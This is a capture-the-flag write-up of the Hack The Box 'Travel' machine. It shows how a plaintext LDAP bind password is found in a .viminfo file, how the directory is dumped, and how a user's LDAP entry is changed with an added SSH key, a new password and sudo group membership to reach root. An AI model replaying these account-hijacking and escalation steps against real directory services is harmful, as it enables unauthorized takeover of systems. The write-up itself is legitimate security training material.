Press 'q' or Ctrl-C to abort, almost any other key for status
1stepcloser (?)
Session completed

Bingo! Let’s see if we can connect through SSH using this credential:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[hugo@archpen ~]$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-26-generic x86_64)

System information as of Fri 29 May 2020 01:39:02 PM UTC

System load: 0.1
Usage of /: 46.1% of 15.68GB
Memory usage: 18%
Swap usage: 0%
Processes: 200
Users logged in: 0
IPv4 address for br-836575a2ebbb: 172.20.0.1
IPv4 address for br-8ec6dcae5ba1: 172.30.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 10.10.10.189

lynik-admin@travel:~$ cat user.txt
7xxxxxxxxxxxxxxxxxxxxxxxa

Root FLag

Recon

First thing that come to mind is to check for more informations about docker. We know that docker is running and hosting the Travel Blog:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
lynik-admin@travel:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:50:56:b9:c0:9b brd ff:ff:ff:ff:ff:ff
inet 10.10.10.189/24 brd 10.10.10.255 scope global eth0
valid_lft forever preferred_lft forever
3: br-836575a2ebbb: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:48:28:52:95 brd ff:ff:ff:ff:ff:ff
inet 172.20.0.1/24 brd 172.20.0.255 scope global br-836575a2ebbb
valid_lft forever preferred_lft forever
4: br-8ec6dcae5ba1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:6d:76:46:c1 brd ff:ff:ff:ff:ff:ff
inet 172.30.0.1/24 brd 172.30.0.255 scope global br-8ec6dcae5ba1
valid_lft forever preferred_lft forever
5: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:28:4b:e0:70 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever

Unfortunately lynik-admin does not belong to docker group so we can not escalate privileges this way (it would have been too easy right?).

LDAP Server

While looking around we notice a few informations about a LDAP server:

1
2
3
4
5
6
7
8
lynik-admin@travel:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 travel
172.20.0.10 ldap.travel.htb
lynik-admin@travel:~$ cat .ldaprc
HOST ldap.travel.htb
BASE dc=travel,dc=htb
BINDDN cn=lynik-admin,dc=travel,dc=htb

Let’s digg a bit more to see what additional informations we can find about this LDAP server.

LDAP Admin Password

While searching for file related to ldap we strangely find a few occurence of the ldap string in .viminfo file:

1
2
3
4
5
6
7
8
9
lynik-admin@travel:~$ grep -ri ldap
.viminfo:'0 3 0 ~/.ldaprc
.viminfo:|4,48,3,0,1587670530,"~/.ldaprc"
.viminfo:-' 3 0 ~/.ldaprc
.viminfo:|4,39,3,0,1587670530,"~/.ldaprc"
.viminfo:-' 1 0 ~/.ldaprc
.viminfo:|4,39,1,0,1587670527,"~/.ldaprc"
.viminfo:> ~/.ldaprc
.ldaprc:HOST ldap.travel.htb

According to vim man page, .viminfo is used as “session” file:

If you exit Vim and later start it again, you would normally lose a lot of
information. The viminfo file can be used to remember that information, which
enables you to continue where you left off.

The viminfo file is used to store:

  • The command line history.
  • The search string history.
  • The input-line history.
  • Contents of non-empty registers.
  • Marks for several files.
  • File marks, pointing to locations in files.
  • Last search/substitute pattern (for ‘n’ and ‘&’).
  • The buffer list.
  • Global variables.

Let’s see what informations we can find in this file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
lynik-admin@travel:~$ cat .viminfo
# This viminfo file was generated by Vim 8.1.
# You may edit it if you're careful!

# Command Line History (newest to oldest):
:wq!
|2,0,1587670530,,"wq!"

# Registers:
""1 LINE 0
BINDPW Theroadlesstraveled
|3,1,1,1,1,0,1587670528,"BINDPW Theroadlesstraveled"

# File marks:
'0 3 0 ~/.ldaprc
|4,48,3,0,1587670530,"~/.ldaprc"

We have an interesting line containing BINDPW Theroadlesstraveled. According to LDAP documentation BINDPW seems to be the administrative password of this LDAP Server.

Let’s confirm the password is valid:

1
2
3
lynik-admin@travel:~$ man ldapsearch
-x Use simple authentication instead of SASL.
-w passwd Use passwd as the password for simple authentication.
1
2
lynik-admin@travel:~$ ldapsearch -x -w hg8
ldap_bind: Invalid credentials (49)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
lynik-admin@travel:~$ ldapsearch -x -w Theroadlesstraveled
# extended LDIF
#
# LDAPv3
# base <dc=travel,dc=htb> (default) with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# travel.htb
dn: dc=travel,dc=htb
objectClass: top
objectClass: dcObject
objectClass: organization
o: Travel.HTB
dc: travel

# admin, travel.htb
dn: cn=admin,dc=travel,dc=htb
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: admin
description: LDAP administrator


# lynik-admin, travel.htb
dn: cn=lynik-admin,dc=travel,dc=htb
description: LDAP administrator
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: lynik-admin
userPassword:: e1NTSEF9MEpaelF3blZJNEZrcXRUa3pRWUxVY3ZkN1NwRjFRYkRjVFJta3c9PQ=
=

[...]
# louise, users, linux, servers, travel.htb
dn: uid=louise,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: louise
cn: Louise Griffin
sn: Griffin
givenName: Louise
loginShell: /bin/bash
uidNumber: 5007
gidNumber: 5000
homeDirectory: /home/louise
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount

[...]
# numResponses: 22
# numEntries: 21

Bingo! We confirmed we have the LDAP admin password.

LDAP User privilege escalation

Since we have admin permissions over the LDAP server we should be able to add a new user with root privileges right ? Let’s give it a try.

First we create our user entry with our own SSH key and password:

1
2
3
4
5
6
7
8
9
dn: uid=hg8,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
objectClass: posixAccount
objectClass: shadowAccount
uid: hg8
userPassword: hg8password
homeDirectory: /root
loginShell: /bin/sh
objectClass: ldapPublicKey
ssh-rsa AAxxx [email protected]

Then use ldapadd command to add it to the LDAP directory:

1
2
3
4
lynik-admin@travel:/$ ldapadd -D "cn=lynik-admin,dc=travel,dc=htb"  -w Theroadlesstraveled -f /tmp/.hg8/hg8.ldif
adding new entry "uid=hg8,ou=users,ou=linux,ou=servers,dc=travel,dc=htb"
ldap_add: Insufficient access (50)
additional info: no write access to parent

Bummer! We don’t have permission to do so.

Well given we found that there is already several users on the server, we should probably have enough privilege to edit one instead of creating a new one.

Here is what we are going to do:

  • Adding the ability to Louise account to connect through SSH using our own SSH key.
  • Adding Louise to sudoers user in order to escalate our privileges
  • Editing Louise password to allows the use of sudo command.

After getting the gid of sudo group using getintent we have all the needed informations to create our modified LDAP entry for user Louise:

1
2
lynik-admin@travel:/$ getent group sudo
sudo:x:27:trvl-admin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
lynik-admin@travel:/$ cat hg8.ldif
dn: uid=louise,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
changetype: modify
replace: homeDirectory
homeDirectory: /root
-
add: objectClass
objectClass: ldapPublicKey
-
add: sshPublicKey
sshPublicKey: ssh-rsa AAAxxx [email protected]
-
replace: userPassword
userPassword: hg8password
-
replace: gidNumber
gidNumber: 27

Now we apply the modification:

1
2
lynik-admin@travel:/$ ldapmodify -D "cn=lynik-admin,dc=travel,dc=htb"  -w Theroadlesstraveled -f hg8.ldif
modifying entry "uid=louise,ou=users,ou=linux,ou=servers,dc=travel,dc=htb"

And we should be able to login as louise and use sudo to escalate our privileges to root:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[hg8@archpen ~]$ ssh -i id_rsa_htb [email protected]
Creating directory '/home@TRAVEL/louise'.
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-26-generic x86_64)

System load: 0.06
Usage of /: 46.2% of 15.68GB
Memory usage: 19%
Swap usage: 0%
Processes: 209
Users logged in: 1
IPv4 address for br-836575a2ebbb: 172.20.0.1
IPv4 address for br-8ec6dcae5ba1: 172.30.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 10.10.10.189

Last login: Fri May 29 14:19:07 2020 from 10.10.14.18

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

louise@travel:~$ sudo id
[sudo] password for louise:
uid=0(root) gid=0(root) groups=0(root)

louise@travel:~$ sudo cat /root/root.txt
1xxxxxxxxxxxxxxxxxxxxxxxx4

References


That’s it folks! As always do not hesitate to contact me for any questions or feedbacks!

See you next time ;)

-hg8



CTFHackTheBoxHard Box
, , , , , , , , , , ,